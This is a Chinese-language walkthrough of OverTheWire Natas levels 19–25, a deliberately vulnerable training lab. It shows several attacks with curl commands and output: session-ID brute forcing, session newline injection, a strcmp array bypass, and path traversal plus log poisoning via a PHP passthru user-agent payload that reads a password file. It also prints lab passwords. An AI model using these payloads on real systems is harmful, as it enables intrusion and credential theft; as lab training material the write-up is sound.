随便提交些啥。结果返回,
”You are logged in as a regular user. Login as an admin to retrieve credentials for natas20.“
观察到有d,因而需要转十六进制。当然,admin 需要先转成utf8。
[+] PHPSESSID= 0adminPSESSID......: 0admin
[+] PHPSESSID= 1adminPSESSID......: 1admin
[+] PHPSESSID= 2adminPSESSID......: 2admin
image
看来,这里就是跟上一贯的区别。加入了统一标识符?

cookie=dict(PHPSESSID=(str(_) + '-admin').encode('utf-8').hex()) 中,-admin 的作用是构造一个特定的会话 ID 格式,目的是攻击者通过会话伪造(Session Hijacking)或会话注入(Session Fixation)来模拟管理员权限,绕过服务端的检查。
-admin是由PHPSESSID解码后得到的统一标识符(上一关卡的脚本运行后得到的PHPSESSID的共同特征)。
image

运行结果:

点击查看代码
运行结果
[+] PHPSESSID= 302d61646d696e.....: 302d61646d696e
[+] PHPSESSID= 312d61646d696e.....: 312d61646d696e
[+] PHPSESSID= 322d61646d696e.....: 322d61646d696e
[+] PHPSESSID= 332d61646d696e.....: 332d61646d696e
[+] PHPSESSID= 342d61646d696e.....: 342d61646d696e
[+] PHPSESSID= 352d61646d696e.....: 352d61646d696e
[+] PHPSESSID= 362d61646d696e.....: 362d61646d696e
[+] PHPSESSID= 372d61646d696e.....: 372d61646d696e
[+] PHPSESSID= 382d61646d696e.....: 382d61646d696e
[+] PHPSESSID= 392d61646d696e.....: 392d61646d696e
[+] PHPSESSID= 31302d61646d696e...: 31302d61646d696e
[+] PHPSESSID= 31312d61646d696e...: 31312d61646d696e
[+] PHPSESSID= 31322d61646d696e...: 31322d61646d696e
[+] PHPSESSID= 31332d61646d696e...: 31332d61646d696e
[+] PHPSESSID= 31342d61646d696e...: 31342d61646d696e
[+] PHPSESSID= 31352d61646d696e...: 31352d61646d696e
[+] PHPSESSID= 31362d61646d696e...: 31362d61646d696e
[+] PHPSESSID= 31372d61646d696e...: 31372d61646d696e
[+] PHPSESSID= 31382d61646d696e...: 31382d61646d696e
[+] PHPSESSID= 31392d61646d696e...: 31392d61646d696e
[+] PHPSESSID= 32302d61646d696e...: 32302d61646d696e
[+] PHPSESSID= 32312d61646d696e...: 32312d61646d696e
[+] PHPSESSID= 32322d61646d696e...: 32322d61646d696e
[+] PHPSESSID= 32332d61646d696e...: 32332d61646d696e
[+] PHPSESSID= 32342d61646d696e...: 32342d61646d696e
[+] PHPSESSID= 32352d61646d696e...: 32352d61646d696e
[+] PHPSESSID= 32362d61646d696e...: 32362d61646d696e
[+] PHPSESSID= 32372d61646d696e...: 32372d61646d696e
[+] PHPSESSID= 32382d61646d696e...: 32382d61646d696e
[+] PHPSESSID= 32392d61646d696e...: 32392d61646d696e
[+] PHPSESSID= 33302d61646d696e...: 33302d61646d696e
[+] PHPSESSID= 33312d61646d696e...: 33312d61646d696e
[+] PHPSESSID= 33322d61646d696e...: 33322d61646d696e
[+] PHPSESSID= 33332d61646d696e...: 33332d61646d696e
[+] PHPSESSID= 33342d61646d696e...: 33342d61646d696e
[+] PHPSESSID= 33352d61646d696e...: 33352d61646d696e
[+] PHPSESSID= 33362d61646d696e...: 33362d61646d696e
[+] PHPSESSID= 33372d61646d696e...: 33372d61646d696e
[+] PHPSESSID= 33382d61646d696e...: 33382d61646d696e
[+] PHPSESSID= 33392d61646d696e...: 33392d61646d696e
[+] PHPSESSID= 34302d61646d696e...: 34302d61646d696e
[+] PHPSESSID= 34312d61646d696e...: 34312d61646d696e
[+] PHPSESSID= 34322d61646d696e...: 34322d61646d696e
[+] PHPSESSID= 34332d61646d696e...: 34332d61646d696e
[+] PHPSESSID= 34342d61646d696e...: 34342d61646d696e
[+] PHPSESSID= 34352d61646d696e...: 34352d61646d696e
[+] PHPSESSID= 34362d61646d696e...: 34362d61646d696e
[+] PHPSESSID= 34372d61646d696e...: 34372d61646d696e
[+] PHPSESSID= 34382d61646d696e...: 34382d61646d696e
[+] PHPSESSID= 34392d61646d696e...: 34392d61646d696e
[+] PHPSESSID= 35302d61646d696e...: 35302d61646d696e
[+] PHPSESSID= 35312d61646d696e...: 35312d61646d696e
[+] PHPSESSID= 35322d61646d696e...: 35322d61646d696e
[+] PHPSESSID= 35332d61646d696e...: 35332d61646d696e
[+] PHPSESSID= 35342d61646d696e...: 35342d61646d696e
[+] PHPSESSID= 35352d61646d696e...: 35352d61646d696e
[+] PHPSESSID= 35362d61646d696e...: 35362d61646d696e
[+] PHPSESSID= 35372d61646d696e...: 35372d61646d696e
[+] PHPSESSID= 35382d61646d696e...: 35382d61646d696e
[+] PHPSESSID= 35392d61646d696e...: 35392d61646d696e
[+] PHPSESSID= 36302d61646d696e...: 36302d61646d696e
[+] PHPSESSID= 36312d61646d696e...: 36312d61646d696e
[+] PHPSESSID= 36322d61646d696e...: 36322d61646d696e
[+] PHPSESSID= 36332d61646d696e...: 36332d61646d696e
[+] PHPSESSID= 36342d61646d696e...: 36342d61646d696e
[+] PHPSESSID= 36352d61646d696e...: 36352d61646d696e
[+] PHPSESSID= 36362d61646d696e...: 36362d61646d696e
[+] PHPSESSID= 36372d61646d696e...: 36372d61646d696e
[+] PHPSESSID= 36382d61646d696e...: 36382d61646d696e
[+] PHPSESSID= 36392d61646d696e...: 36392d61646d696e
[+] PHPSESSID= 37302d61646d696e...: 37302d61646d696e
[+] PHPSESSID= 37312d61646d696e...: 37312d61646d696e
[+] PHPSESSID= 37322d61646d696e...: 37322d61646d696e
[+] PHPSESSID= 37332d61646d696e...: 37332d61646d696e
[+] PHPSESSID= 37342d61646d696e...: 37342d61646d696e
[+] PHPSESSID= 37352d61646d696e...: 37352d61646d696e
[+] PHPSESSID= 37362d61646d696e...: 37362d61646d696e
[+] PHPSESSID= 37372d61646d696e...: 37372d61646d696e
[+] PHPSESSID= 37382d61646d696e...: 37382d61646d696e
[+] PHPSESSID= 37392d61646d696e...: 37392d61646d696e
[+] PHPSESSID= 38302d61646d696e...: 38302d61646d696e
[+] PHPSESSID= 38312d61646d696e...: 38312d61646d696e
[+] PHPSESSID= 38322d61646d696e...: 38322d61646d696e
[+] PHPSESSID= 38332d61646d696e...: 38332d61646d696e
[+] PHPSESSID= 38342d61646d696e...: 38342d61646d696e
[+] PHPSESSID= 38352d61646d696e...: 38352d61646d696e
[+] PHPSESSID= 38362d61646d696e...: 38362d61646d696e
[+] PHPSESSID= 38372d61646d696e...: 38372d61646d696e
[+] PHPSESSID= 38382d61646d696e...: 38382d61646d696e
[+] PHPSESSID= 38392d61646d696e...: 38392d61646d696e
[+] PHPSESSID= 39302d61646d696e...: 39302d61646d696e
[+] PHPSESSID= 39312d61646d696e...: 39312d61646d696e
[+] PHPSESSID= 39322d61646d696e...: 39322d61646d696e
[+] PHPSESSID= 39332d61646d696e...: 39332d61646d696e
[+] PHPSESSID= 39342d61646d696e...: 39342d61646d696e
[+] PHPSESSID= 39352d61646d696e...: 39352d61646d696e
[+] PHPSESSID= 39362d61646d696e...: 39362d61646d696e
[+] PHPSESSID= 39372d61646d696e...: 39372d61646d696e
[+] PHPSESSID= 39382d61646d696e...: 39382d61646d696e
[+] PHPSESSID= 39392d61646d696e...: 39392d61646d696e
[+] PHPSESSID= 3130302d61646d696e.: 3130302d61646d696e
[+] PHPSESSID= 3130312d61646d696e.: 3130312d61646d696e
[+] PHPSESSID= 3130322d61646d696e.: 3130322d61646d696e
[+] PHPSESSID= 3130332d61646d696e.: 3130332d61646d696e
[+] PHPSESSID= 3130342d61646d696e.: 3130342d61646d696e
[+] PHPSESSID= 3130352d61646d696e.: 3130352d61646d696e
[+] PHPSESSID= 3130362d61646d696e.: 3130362d61646d696e
[+] PHPSESSID= 3130372d61646d696e.: 3130372d61646d696e
[+] PHPSESSID= 3130382d61646d696e.: 3130382d61646d696e
[+] PHPSESSID= 3130392d61646d696e.: 3130392d61646d696e
[+] PHPSESSID= 3131302d61646d696e.: 3131302d61646d696e
[+] PHPSESSID= 3131312d61646d696e.: 3131312d61646d696e
[+] PHPSESSID= 3131322d61646d696e.: 3131322d61646d696e
[+] PHPSESSID= 3131332d61646d696e.: 3131332d61646d696e
[+] PHPSESSID= 3131342d61646d696e.: 3131342d61646d696e
[+] PHPSESSID= 3131352d61646d696e.: 3131352d61646d696e
[+] PHPSESSID= 3131362d61646d696e.: 3131362d61646d696e
[+] PHPSESSID= 3131372d61646d696e.: 3131372d61646d696e
[+] PHPSESSID= 3131382d61646d696e.: 3131382d61646d696e
[+] PHPSESSID= 3131392d61646d696e.: 3131392d61646d696e
[+] PHPSESSID= 3132302d61646d696e.: 3132302d61646d696e
[+] PHPSESSID= 3132312d61646d696e.: 3132312d61646d696e
[+] PHPSESSID= 3132322d61646d696e.: 3132322d61646d696e
[+] PHPSESSID= 3132332d61646d696e.: 3132332d61646d696e
[+] PHPSESSID= 3132342d61646d696e.: 3132342d61646d696e
[+] PHPSESSID= 3132352d61646d696e.: 3132352d61646d696e
[+] PHPSESSID= 3132362d61646d696e.: 3132362d61646d696e
[+] PHPSESSID= 3132372d61646d696e.: 3132372d61646d696e
[+] PHPSESSID= 3132382d61646d696e.: 3132382d61646d696e
[+] PHPSESSID= 3132392d61646d696e.: 3132392d61646d696e
[+] PHPSESSID= 3133302d61646d696e.: 3133302d61646d696e
[+] PHPSESSID= 3133312d61646d696e.: 3133312d61646d696e
[+] PHPSESSID= 3133322d61646d696e.: 3133322d61646d696e
[+] PHPSESSID= 3133332d61646d696e.: 3133332d61646d696e
[+] PHPSESSID= 3133342d61646d696e.: 3133342d61646d696e
[+] PHPSESSID= 3133352d61646d696e.: 3133352d61646d696e
[+] PHPSESSID= 3133362d61646d696e.: 3133362d61646d696e
[+] PHPSESSID= 3133372d61646d696e.: 3133372d61646d696e
[+] PHPSESSID= 3133382d61646d696e.: 3133382d61646d696e
[+] PHPSESSID= 3133392d61646d696e.: 3133392d61646d696e
[+] PHPSESSID= 3134302d61646d696e.: 3134302d61646d696e
[+] PHPSESSID= 3134312d61646d696e.: 3134312d61646d696e
[+] PHPSESSID= 3134322d61646d696e.: 3134322d61646d696e
[+] PHPSESSID= 3134332d61646d696e.: 3134332d61646d696e
[+] PHPSESSID= 3134342d61646d696e.: 3134342d61646d696e
[+] PHPSESSID= 3134352d61646d696e.: 3134352d61646d696e
[+] PHPSESSID= 3134362d61646d696e.: 3134362d61646d696e
[+] PHPSESSID= 3134372d61646d696e.: 3134372d61646d696e
[+] PHPSESSID= 3134382d61646d696e.: 3134382d61646d696e
[+] PHPSESSID= 3134392d61646d696e.: 3134392d61646d696e
[+] PHPSESSID= 3135302d61646d696e.: 3135302d61646d696e
[+] PHPSESSID= 3135312d61646d696e.: 3135312d61646d696e
[+] PHPSESSID= 3135322d61646d696e.: 3135322d61646d696e
[+] PHPSESSID= 3135332d61646d696e.: 3135332d61646d696e
[+] PHPSESSID= 3135342d61646d696e.: 3135342d61646d696e
[+] PHPSESSID= 3135352d61646d696e.: 3135352d61646d696e
[+] PHPSESSID= 3135362d61646d696e.: 3135362d61646d696e
[+] PHPSESSID= 3135372d61646d696e.: 3135372d61646d696e
[+] PHPSESSID= 3135382d61646d696e.: 3135382d61646d696e
[+] PHPSESSID= 3135392d61646d696e.: 3135392d61646d696e
[+] PHPSESSID= 3136302d61646d696e.: 3136302d61646d696e
[+] PHPSESSID= 3136312d61646d696e.: 3136312d61646d696e
[+] PHPSESSID= 3136322d61646d696e.: 3136322d61646d696e
[+] PHPSESSID= 3136332d61646d696e.: 3136332d61646d696e
[+] PHPSESSID= 3136342d61646d696e.: 3136342d61646d696e
[+] PHPSESSID= 3136352d61646d696e.: 3136352d61646d696e
[+] PHPSESSID= 3136362d61646d696e.: 3136362d61646d696e
[+] PHPSESSID= 3136372d61646d696e.: 3136372d61646d696e
[+] PHPSESSID= 3136382d61646d696e.: 3136382d61646d696e
[+] PHPSESSID= 3136392d61646d696e.: 3136392d61646d696e
[+] PHPSESSID= 3137302d61646d696e.: 3137302d61646d696e
[+] PHPSESSID= 3137312d61646d696e.: 3137312d61646d696e
[+] PHPSESSID= 3137322d61646d696e.: 3137322d61646d696e
[+] PHPSESSID= 3137332d61646d696e.: 3137332d61646d696e
[+] PHPSESSID= 3137342d61646d696e.: 3137342d61646d696e
[+] PHPSESSID= 3137352d61646d696e.: 3137352d61646d696e
[+] PHPSESSID= 3137362d61646d696e.: 3137362d61646d696e
[+] PHPSESSID= 3137372d61646d696e.: 3137372d61646d696e
[+] PHPSESSID= 3137382d61646d696e.: 3137382d61646d696e
[+] PHPSESSID= 3137392d61646d696e.: 3137392d61646d696e
[+] PHPSESSID= 3138302d61646d696e.: 3138302d61646d696e
[+] PHPSESSID= 3138312d61646d696e.: 3138312d61646d696e
[+] PHPSESSID= 3138322d61646d696e.: 3138322d61646d696e
[+] PHPSESSID= 3138332d61646d696e.: 3138332d61646d696e
[+] PHPSESSID= 3138342d61646d696e.: 3138342d61646d696e
[+] PHPSESSID= 3138352d61646d696e.: 3138352d61646d696e
[+] PHPSESSID= 3138362d61646d696e.: 3138362d61646d696e
[+] PHPSESSID= 3138372d61646d696e.: 3138372d61646d696e
[+] PHPSESSID= 3138382d61646d696e.: 3138382d61646d696e
[+] PHPSESSID= 3138392d61646d696e.: 3138392d61646d696e
[+] PHPSESSID= 3139302d61646d696e.: 3139302d61646d696e
[+] PHPSESSID= 3139312d61646d696e.: 3139312d61646d696e
[+] PHPSESSID= 3139322d61646d696e.: 3139322d61646d696e
[+] PHPSESSID= 3139332d61646d696e.: 3139332d61646d696e
[+] PHPSESSID= 3139342d61646d696e.: 3139342d61646d696e
[+] PHPSESSID= 3139352d61646d696e.: 3139352d61646d696e
[+] PHPSESSID= 3139362d61646d696e.: 3139362d61646d696e
[+] PHPSESSID= 3139372d61646d696e.: 3139372d61646d696e
[+] PHPSESSID= 3139382d61646d696e.: 3139382d61646d696e
[+] PHPSESSID= 3139392d61646d696e.: 3139392d61646d696e
[+] PHPSESSID= 3230302d61646d696e.: 3230302d61646d696e
[+] PHPSESSID= 3230312d61646d696e.: 3230312d61646d696e
[+] PHPSESSID= 3230322d61646d696e.: 3230322d61646d696e
[+] PHPSESSID= 3230332d61646d696e.: 3230332d61646d696e
[+] PHPSESSID= 3230342d61646d696e.: 3230342d61646d696e
[+] PHPSESSID= 3230352d61646d696e.: 3230352d61646d696e
[+] PHPSESSID= 3230362d61646d696e.: 3230362d61646d696e
[+] PHPSESSID= 3230372d61646d696e.: 3230372d61646d696e
[+] PHPSESSID= 3230382d61646d696e.: 3230382d61646d696e
[+] PHPSESSID= 3230392d61646d696e.: 3230392d61646d696e
[+] PHPSESSID= 3231302d61646d696e.: 3231302d61646d696e
[+] PHPSESSID= 3231312d61646d696e.: 3231312d61646d696e
[+] PHPSESSID= 3231322d61646d696e.: 3231322d61646d696e
[+] PHPSESSID= 3231332d61646d696e.: 3231332d61646d696e
[+] PHPSESSID= 3231342d61646d696e.: 3231342d61646d696e
[+] PHPSESSID= 3231352d61646d696e.: 3231352d61646d696e
[+] PHPSESSID= 3231362d61646d696e.: 3231362d61646d696e
[+] PHPSESSID= 3231372d61646d696e.: 3231372d61646d696e
[+] PHPSESSID= 3231382d61646d696e.: 3231382d61646d696e
[+] PHPSESSID= 3231392d61646d696e.: 3231392d61646d696e
[+] PHPSESSID= 3232302d61646d696e.: 3232302d61646d696e
[+] PHPSESSID= 3232312d61646d696e.: 3232312d61646d696e
[+] PHPSESSID= 3232322d61646d696e.: 3232322d61646d696e
[+] PHPSESSID= 3232332d61646d696e.: 3232332d61646d696e
[+] PHPSESSID= 3232342d61646d696e.: 3232342d61646d696e
[+] PHPSESSID= 3232352d61646d696e.: 3232352d61646d696e
[+] PHPSESSID= 3232362d61646d696e.: 3232362d61646d696e
[+] PHPSESSID= 3232372d61646d696e.: 3232372d61646d696e
[+] PHPSESSID= 3232382d61646d696e.: 3232382d61646d696e
[+] PHPSESSID= 3232392d61646d696e.: 3232392d61646d696e
[+] PHPSESSID= 3233302d61646d696e.: 3233302d61646d696e
[+] PHPSESSID= 3233312d61646d696e.: 3233312d61646d696e
[+] PHPSESSID= 3233322d61646d696e.: 3233322d61646d696e
[+] PHPSESSID= 3233332d61646d696e.: 3233332d61646d696e
[+] PHPSESSID= 3233342d61646d696e.: 3233342d61646d696e
[+] PHPSESSID= 3233352d61646d696e.: 3233352d61646d696e
[+] PHPSESSID= 3233362d61646d696e.: 3233362d61646d696e
[+] PHPSESSID= 3233372d61646d696e.: 3233372d61646d696e
[+] PHPSESSID= 3233382d61646d696e.: 3233382d61646d696e
[+] PHPSESSID= 3233392d61646d696e.: 3233392d61646d696e
[+] PHPSESSID= 3234302d61646d696e.: 3234302d61646d696e
[+] PHPSESSID= 3234312d61646d696e.: 3234312d61646d696e
[+] PHPSESSID= 3234322d61646d696e.: 3234322d61646d696e
[+] PHPSESSID= 3234332d61646d696e.: 3234332d61646d696e
[+] PHPSESSID= 3234342d61646d696e.: 3234342d61646d696e
[+] PHPSESSID= 3234352d61646d696e.: 3234352d61646d696e
[+] PHPSESSID= 3234362d61646d696e.: 3234362d61646d696e
[+] PHPSESSID= 3234372d61646d696e.: 3234372d61646d696e
[+] PHPSESSID= 3234382d61646d696e.: 3234382d61646d696e
[+] PHPSESSID= 3234392d61646d696e.: 3234392d61646d696e
[+] PHPSESSID= 3235302d61646d696e.: 3235302d61646d696e
[+] PHPSESSID= 3235312d61646d696e.: 3235312d61646d696e
[+] PHPSESSID= 3235322d61646d696e.: 3235322d61646d696e
[+] PHPSESSID= 3235332d61646d696e.: 3235332d61646d696e
[+] PHPSESSID= 3235342d61646d696e.: 3235342d61646d696e
[+] PHPSESSID= 3235352d61646d696e.: 3235352d61646d696e
[+] PHPSESSID= 3235362d61646d696e.: 3235362d61646d696e
[+] PHPSESSID= 3235372d61646d696e.: 3235372d61646d696e
[+] PHPSESSID= 3235382d61646d696e.: 3235382d61646d696e
[+] PHPSESSID= 3235392d61646d696e.: 3235392d61646d696e
[+] PHPSESSID= 3236302d61646d696e.: 3236302d61646d696e
[+] PHPSESSID= 3236312d61646d696e.: 3236312d61646d696e
[+] PHPSESSID= 3236322d61646d696e.: 3236322d61646d696e
[+] PHPSESSID= 3236332d61646d696e.: 3236332d61646d696e
[+] PHPSESSID= 3236342d61646d696e.: 3236342d61646d696e
[+] PHPSESSID= 3236352d61646d696e.: 3236352d61646d696e
[+] PHPSESSID= 3236362d61646d696e.: 3236362d61646d696e
[+] PHPSESSID= 3236372d61646d696e.: 3236372d61646d696e
[+] PHPSESSID= 3236382d61646d696e.: 3236382d61646d696e
[+] PHPSESSID= 3236392d61646d696e.: 3236392d61646d696e
[+] PHPSESSID= 3237302d61646d696e.: 3237302d61646d696e
[+] PHPSESSID= 3237312d61646d696e.: 3237312d61646d696e
[+] PHPSESSID= 3237322d61646d696e.: 3237322d61646d696e
[+] PHPSESSID= 3237332d61646d696e.: 3237332d61646d696e
[+] PHPSESSID= 3237342d61646d696e.: 3237342d61646d696e
[+] PHPSESSID= 3237352d61646d696e.: 3237352d61646d696e
[+] PHPSESSID= 3237362d61646d696e.: 3237362d61646d696e
[+] PHPSESSID= 3237372d61646d696e.: 3237372d61646d696e
[+] PHPSESSID= 3237382d61646d696e.: 3237382d61646d696e
[+] PHPSESSID= 3237392d61646d696e.: 3237392d61646d696e
[+] PHPSESSID= 3238302d61646d696e.: 3238302d61646d696e
The PHPSESSID with correct password is: 3238312d61646d696e

提交正确的种子之后,看到

This page uses mostly the same code as the previous level, but session IDs are no longer sequential...

You are an admin. The credentials for the next level are:

Username: natas20
Password: p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw

natas20

审计代码

<?php

function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas21\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
    }
}
/* }}} */

/* we don't need this */
function myopen($path, $name) {
    //debug("MYOPEN $path $name");
    return true;
}

/* we don't need this */
function myclose() {
    //debug("MYCLOSE");
    return true;
}

function myread($sid) {
    debug("MYREAD $sid");
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID");
        return "";
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    if(!file_exists($filename)) {
        debug("Session file doesn't exist");
        return "";
    }
    debug("Reading from ". $filename);
    $data = file_get_contents($filename);
    $_SESSION = array();
    foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
    $parts = explode(" ", $line, 2);
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
    }
    return session_encode() ?: "";
}

function mywrite($sid, $data) {
    // $data contains the serialized version of $_SESSION
    // but our encoding is better
    debug("MYWRITE $sid $data");
    // make sure the sid is alnum only!!
    if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
    debug("Invalid SID");
        return;
    }
    $filename = session_save_path() . "/" . "mysess_" . $sid;
    $data = "";
    debug("Saving in ". $filename);
    ksort($_SESSION);
    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        $data .= "$key $value\n";
    }
    file_put_contents($filename, $data);
    chmod($filename, 0600);
    return true;
}

/* we don't need this */
function mydestroy($sid) {
    //debug("MYDESTROY $sid");
    return true;
}
/* we don't need this */
function mygarbage($t) {
    //debug("MYGARBAGE $t");
    return true;
}

session_set_save_handler(
    "myopen",
    "myclose",
    "myread",
    "mywrite",
    "mydestroy",
    "mygarbage");
session_start();

if(array_key_exists("name", $_REQUEST)) {
    $_SESSION["name"] = $_REQUEST["name"];
    debug("Name set to " . $_REQUEST["name"]);
}

print_credentials();

$name = "";
if(array_key_exists("name", $_SESSION)) {
    $name = $_SESSION["name"];
}

?>

与上一关相比,应该是给session进行某种特殊的加密,多一个$msg的DEBUG判断辅助得到凭证。重点是"myread"和"mywrite",尤其是键值对的构造,分清楚哪个是键哪个是值。

#myread
**foreach(explode("\n", $data) as $line) {
        debug("Read [$line]");
    $parts = explode(" ", $line, 2);
    if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
    }
**
debug("Name set to " . $_REQUEST["name"]);

#mywrite
debug("Saving in ". $filename);
    ksort($_SESSION);
    foreach($_SESSION as $key => $value) {
        debug("$key => $value");
        $data .= "$key $value\n";
    }

建议阅读键值对|Geek 了解其特性。

键值对结合DEBUG就是本题的突破口。

修改url,输入框随便输入点什么,刷新网站。
image

http://natas20.natas.labs.overthewire.org/index.php?debug&name=admin%0Aadmin%201提交两遍(个人推测应该是 foreach的原因),就能得到答案。原理如下:
%0A是\n的url编码,而"myread"里面的foreach早已经\n过滤掉,并且\n后的元素会被赋值给前一个元素,前提是前一个元素不为空,即( if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];)。。所以,字符%0A前的输入除了空格,随便替换成什么都可以,比如admin,test,.......。%20是空格的url编码,而admin 1在"mywrite"里面的freach已经构造了键值对。在session_set_save_handler里面的一读一写(myread和mywirte的调用),使得debugfilenamedata构造的键值对就会以一种新文件(file_put_contents)的形式出现,从而得到正确的密码(print_credentials)。
image

BPhv63cKE1lkQl04cE5CuFTzXe15NfiH。

natas21

访问得到两个页面,
image

审计代码,大致情况如下。
image

看样子关键点应该是admin = 1,不过的加上'submit': ' ',Value才会更新(update)。其实temp_cookies改为public_cookies更为合适,因为temp_url的session是和url的session是有所关联的(colocated with)。而temp_url之所以必须要提交这是因为页面2的session通过foreach可能进行了更新,只有更新后的session才是public_cookies存储的。只有这样,才能被传到页面1正常使用。
image

运行结果,d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz。
image

natas22

查看源码,

<?php
session_start();

if(array_key_exists("revelio", $_GET)) {
    // only admins can reveal the password
    if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {
    header("Location: /");
    }
}
?>


<?php
    if(array_key_exists("revelio", $_GET)) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas23\n";
    print "Password: <censored></pre>";
    }
?>

关键点是revelio,其值为1。实际上这是由$_SESSION,array_key_exists("admin", $_SESSION) $_SESSION["admin"] == 1共同作用的。相当于admin -->revelio,` $_SESSION -->GET,GET["revelio"]== 1被强行替换,因而构造payload ~/?revelio=1。这个逻辑类似数学函数的替换、编程的迭代法。
方法1:
输入

curl --user natas22:d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz 'http://natas22.natas.labs.overthewire.org/?revelio=1'

image

方法2:方法1等同于下列脚本,注意添加allow_redirects=False。这与

if(!($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1)) {    
header("Location: /");       
}

相对应。
image

得dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRs。

natas23

审计代码,

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas24 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>  

这段字符串包含’iloveyou',并且其值大于10。由php的is_numeric的特性,输入123456iloveyou,得到

The credentials for the next level are:

Username: natas24 Password: MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWd

natas24

审计代码,

<?php
    if(array_key_exists("passwd",$_REQUEST)){
        if(!strcmp($_REQUEST["passwd"],"<censored>")){
            echo "<br>The credentials for the next level are:<br>";
            echo "<pre>Username: natas25 Password: <censored></pre>";
        }
        else{
            echo "<br>Wrong!<br>";
        }
    }
    // morla / 10111
?>  

strcmp($_REQUEST["passwd"], "<censored>") 用来比较传入的密码($_REQUEST["passwd"])与硬编码的密码("<censored>")是否相等。不相等就会得到密码。相等就相当于直接泄露密码,这是不安全的,因而会报错。

strcmp比较的两个对象不是字符串时会报错,且会返回0,所以可以构造数组或object绕过(适用于php5版本)。

于是,
image

或者

curl -u natas24:MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWd "http://natas24.natas.labs.overthewire.org/?passwd[]=as"

得ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws。

natas25

审计代码量骤增,

<body>
<?php
    // cheers and <3 to malvina
    // - morla

    function setLanguage(){
        /* language setup */
        if(array_key_exists("lang",$_REQUEST))
            if(safeinclude("language/" . $_REQUEST["lang"] ))
                return 1;
        safeinclude("language/en"); 
    }
    
    function safeinclude($filename){
        // check for directory traversal
        if(strstr($filename,"../")){
            logRequest("Directory traversal attempt! fixing request.");
            $filename=str_replace("../","",$filename);
        }
        // dont let ppl steal our passwords
        if(strstr($filename,"natas_webpass")){
            logRequest("Illegal file access detected! Aborting!");
            exit(-1);
        }
        // add more checks...

        if (file_exists($filename)) { 
            include($filename);
            return 1;
        }
        return 0;
    }
    
    function listFiles($path){
        $listoffiles=array();
        if ($handle = opendir($path))
            while (false !== ($file = readdir($handle)))
                if ($file != "." && $file != "..")
                    $listoffiles[]=$file;
        
        closedir($handle);
        return $listoffiles;
    } 
    
    function logRequest($message){
        $log="[". date("d.m.Y H::i:s",time()) ."]";
        $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
        $log=$log . " \"" . $message ."\"\n"; 
        $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);
    }
?>

<h1>natas25</h1>
<div id="content">
<div align="right">
<form>
<select name='lang' onchange='this.form.submit()'>
<option>language</option>
<?php foreach(listFiles("language/") as $f) echo "<option>$f</option>"; ?>
</select>
</form>
</div>

<?php  
    session_start();
    setLanguage();
    
    echo "<h2>$__GREETING</h2>";
    echo "<p align=\"justify\">$__MSG";
    echo "<div align=\"right\"><h6>$__FOOTER</h6><div>";
?>
<p>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>

最关键的几行,能够看出大致情况。

 $log="[". date("d.m.Y H::i:s",time()) ."]";
 $log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
 $log=$log . " \"" . $message ."\"\n"; 
 $fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
        fwrite($fd,$log);
        fclose($fd);


function setLanguage(){
    ......
        safeinclude("language/en"); 
    }
// check for directory traversal
if(strstr($filename,"../")){
    logRequest("Directory traversal attempt! fixing request.");
        $filename=str_replace("../","",$filename);
    }
// dont let ppl steal our passwords
    if(strstr($filename,"natas_webpass")){
        logRequest("Illegal file access detected! Aborting!");
        exit(-1);
    }
    // add more checks...

    if (file_exists($filename)) { 
        include($filename);
        return 1; 
    }

看来../结合/var/www/natas/natas25/logs/natas25_session_id() .".log是有必要的。但是../natas_webpass被绕过,可以用....//或..././来代替。然后,添加$_SERVER['HTTP_USER_AGENT']这个日志和safeinclude("language/en")可能是需要的。

构造

curl -su natas25:ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws 'http://natas25.natas.labs.overthewire.org/?lang=....//logs/natas25_701j1s2hgaka9o1tboiblt2ep7.log' \
       --cookie 'PHPSESSID=701j1s2hgaka9o1tboiblt2ep7' \
       --user-agent '<?passthru("cat /etc/natas_webpass/natas26")?>'

结果如下:
image

在这里,passthru换成system的作用区别不大。
读者若有兴趣,可以对passthru,exec,system,@eval四种类型的一句话木马进行研讨。

等同于脚本

import requests

url = 'http://natas25.natas.labs.overthewire.org/?lang=....//logs/natas25_701j1s2hgaka9o1tboiblt2ep7.log'
username = 'natas25'
password = 'ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws'

